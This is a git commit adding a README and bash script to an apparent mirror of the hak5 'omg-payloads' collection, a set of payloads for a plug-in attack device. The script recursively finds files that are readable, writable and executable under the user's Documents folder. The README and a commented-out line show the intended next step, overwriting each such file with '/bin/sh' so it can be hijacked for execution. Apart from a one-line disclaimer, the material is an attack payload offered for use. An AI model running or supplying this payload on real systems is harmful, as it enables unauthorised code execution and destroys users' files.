mirror of https://github.com/hak5/omg-payloads.git
readme
parent
e1ab2a26a7
commit
8e1c11518a
|
@ -0,0 +1,32 @@
|
|||
# Exploiting An Executable File - Linux ✅
|
||||
|
||||
Plug-And-Play ❤️
|
||||
|
||||
A script used to detect all executable files in a Linux system. An executable file can be used in cybersecurity to execute some script without having the necessary permissions to make it executable.
|
||||
|
||||
**Category**: Execution
|
||||
|
||||
## Description
|
||||
|
||||
A script used to detect all executable files in a Linux system. An executable file can be used in cybersecurity to execute some script without having the necessary permissions to make it executable.
|
||||
|
||||
**Remember that any execution that is not permitted is not legitimate**.
|
||||
|
||||
## Getting Started
|
||||
|
||||
### Dependencies
|
||||
|
||||
* Linux system
|
||||
|
||||
### Executing program
|
||||
|
||||
* Plug in your device
|
||||
|
||||
### Settings
|
||||
|
||||
* You can edit the content that you want to put into the executable file.
|
||||
|
||||
```Shell
|
||||
# You can put whatever you want into the executable file
|
||||
echo "/bin/sh" > "$file"
|
||||
```
|
|
@ -0,0 +1,19 @@
|
|||
#!/bin/bash
|
||||
|
||||
function search_file {
|
||||
for file in "$1"/*; do
|
||||
if [[ -d "$file" ]]; then
|
||||
search_file "$file"
|
||||
elif [[ -f "$file" && -r "$file" && -w "$file" && -x "$file" ]]; then
|
||||
echo "File Found: $file"
|
||||
# You can put whatever you want into the executable file
|
||||
# echo "/bin/sh" > "$file"
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
USER=$(whoami)
|
||||
|
||||
# You can choose whatever folder you want, the script is recursive.
|
||||
DIR=/home/$USER/Documents
|
||||
search_file "$DIR"
|
Loading…
Reference in New Issue